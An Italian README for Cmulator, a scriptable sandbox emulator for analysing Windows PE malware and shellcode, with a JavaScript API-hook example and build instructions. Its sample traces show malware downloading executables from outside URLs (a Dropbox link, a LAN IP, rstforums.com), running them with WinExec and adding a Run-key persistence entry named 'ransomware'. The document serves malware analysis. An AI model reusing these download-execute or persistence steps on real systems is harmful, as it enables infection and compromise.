Cmulator - Emulatore Sandbox RE x86 Scriptabile (v0.3 Beta)

Cmulator è un emulatore sandbox di Reverse Engineering scriptabile (x86 - x64)
per shellcode e binari PE
basato su Unicorn, Capstone Engine e javascript.

💬 Questa è l'ultima versione Pascal supportata e la nuova base di codice (C/C++) sarà qui Cmulator.

Architetture supportate:

i386
x86-64

Formati di file supportati

PE, PE+
shellcodes

Problemi noti

c'è un bug in Unicorn che modifica i dati vicino a EIP
se qualcuno può aiutare, controlla unicorn#820

Funzionalità attuali

GDT e Segmenti simulati.
Strutture TEB e PEB simulate sia per shellcode che per PE.
Tabella LDR e dati simulati.
Gestisce la memoria dell'immagine e dello stack.
Valuta le funzioni in base agli export delle DLL.
Traccia tutte le API eseguite (utile per PE offuscati).
Mostra HexDump con stringhe basate sulle locazioni di memoria referenziate.
Patch della memoria.
Hook API personalizzati usando Javascript (scripting).
Gestione SEH (richiede ancora lavoro).
[+] Indirizzo dell'hook.
[+] Risolutore della mappa Apiset

[+] Changelog

V0.3 Beta
- Questa è l'ultima versione Pascal supportata e la nuova base di codice (C/C++) sarà qui https://github.com/Cmulator/Cmulator .
v0.2 beta
- [+] Aggiunto indirizzo dell'hook
- [+] Implementato forwarder dello schema API
- [+] Cambiato disassembler da Capstone a Zydis Engine
- [√] Miglioramenti per la gestione SEH
- [√] Miglioramenti nella gestione API da JS
- [√] Migliorato il rilevamento API per indirizzo, nome o ordinale
v0.1 beta
- Versione iniziale

Esempio di Hook in JavaScript

var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
  _In_opt_ HMODULE hModule,
  _Out_    LPTSTR  lpFilename,
  _In_     DWORD   nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {

	Emu.pop(); // ret
	
	var hModule    = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
	var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
	var nSize	   = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();

	var mName = Emu.GetModuleName(hModule);
	var Path = 'C:\\pla\\' + mName;

	var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);

	// null byte - mybe needed maybe not :D - i put it anyway :V 
	API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);

	print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
		API.name,
		hModule.toString(16),
		lpFilename.toString(16),
		nSize.toString(16),
		Path
	));

	// MS Docs : the return value is the length of the string
	Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);	
	Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
	return true; // true if you handle it false if you want Emu to handle it and set PC .
};

GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');

var _vsnprintf = new ApiHook();
/*
int _vsnprintf(  
   char *buffer,  
   size_t count,  
   const char *format,  
   va_list argptr   
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {

	// save the param to args
	// args is an Array and it's implemented in every ApiHook .
	_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);

	// i think implementing this in JS is hard 
	// so just let the library handle it :D 
	return true; // True so we continue to the lib code .
};

// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
	
	// Read Our Saved Param .
	var buffer = _vsnprintf.args[0];

	warn("OnExit : _vsnprintf() = '{0}' ".format(
		Emu.ReadStringA(buffer)
	));
}

_vsnprintf.install('msvcrt.dll', '_vsnprintf');

Output di esempio:

Downloader AntiDebug

Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 01:51:51
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"AntiDebugDownloader.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : AntiDebugDownloader.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000004000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : AntiDebugDownloader.exe
[*] Import 3 Dlls

[+] Fix IAT for : kernel32.dll

[+] Fix IAT for : urlmon.dll

[+] Fix IAT for : advapi32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 52 Libraries ...

[>] Run AntiDebugDownloader.exe

0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows' 
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)

26 Branches - Executed in 9 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

ShellCode x64 Download & Esecuzione

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc64.exe" is : x64
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc64.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc64.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc64.exe

LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)

95 Steps - Executed in 295 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

ShellCode x32 Download & Esecuzione

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc32.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc32.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc32.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc32.exe

GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7
LoadLibraryA('urlmon.dll') = 0x7065a000
GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0
GetProcAddress(0x70300000,'WinExec') = 0x70392C21
0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0)
WinExec('dead.exe', 1)

3041 Steps - Executed in 415 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

Mostra gestione SEH (PELock Obfuscator)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0
0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215
ZwContinue -> Context = 0x25F97C
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516
ZwContinue -> Context = 0x25F978
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE
ZwContinue -> Context = 0x25F974
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B
ZwContinue -> Context = 0x25F984
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461
ZwContinue -> Context = 0x25F984
ExitProcess(0x0)

7387 Steps - Executed in 118 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

Nascondi gestione SEH (PELock Obfuscator)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe 

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
ExitProcess(0x0)

7387 Steps - Executed in 116 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

E provalo tu stesso, lo trovi in "samples/obfuscated/obfuscated.exe" 😉

Lavori in corso per priorità:

Memory Manager - Prossima versione
Controllo di bug e correzioni 👌🏻
Il forwarder dello schema API necessita ancora di miglioramenti e test

TODO per priorità:

Requisiti

Freepascal >= v3
Unicorn Engine
Zydis Engine
QuickJS Engine

Installazione

Installa Lazarus IDE
Troverai tutte le librerie necessarie nella cartella "libraries" ;)
Ora compila

Compilazione

1. Compilare Cmulator

git clone https://github.com/Coldzer0/Cmulator.git

Apri "Cmulator.lpi" con Lazarus IDE

Poi premi Compila :D
Oh, prima devi selezionare la modalità di compilazione.

Dall'IDE Laz, seleziona

Projects -> Project Options -> Compiler Options

e seleziona la modalità per il tuo sistema operativo.

Oppure scarica direttamente da Releases

2. Creare il file di configurazione config.json

touch config.json

3. Impostare il percorso delle DLL di Windows

imposta le cartelle delle DLL dove hai salvato le tue DLL di Windows e il file JS principale.

{
  "system": {
    "win32": "../win_dlls/x32_win7",
    "win64": "../win_dlls/x64_win7",
    "Apiset": "../Apiset.json"
  },
  "JS": {
  	"main": "../API.JS"
  }
}

Esecuzione

./Cmulator -file samples/AntiDebug.exe

Documentazione

Ancora in lavorazione, sarà presto disponibile.

Ringraziamenti e risorse:

questo lavoro è ispirato da:

unicorn-libemu-shim - Il motivo principale per cui ho iniziato questo progetto ❤ .

LIBEMU - Metodi di hooking .

SCDBG - Il debugger interattivo .

xori - Ho usato il loro metodo per costruire LDR .

Progetti OpenSource utilizzati:

QuickJS Engine

Unicorn Engine

Zydis Engine

PE Parser

Pse PE Parse

generics collections

Super Object (JSON)

Risorse utilizzate:

Microsoft Docs

Understanding the PEB Loader Data Structure

Wine

Nynaeve Blog

ReWolf terminus - Windows data structures

OS Dev - GDT_Tutorial

Set up a GDT in Unicorn

Cmulator

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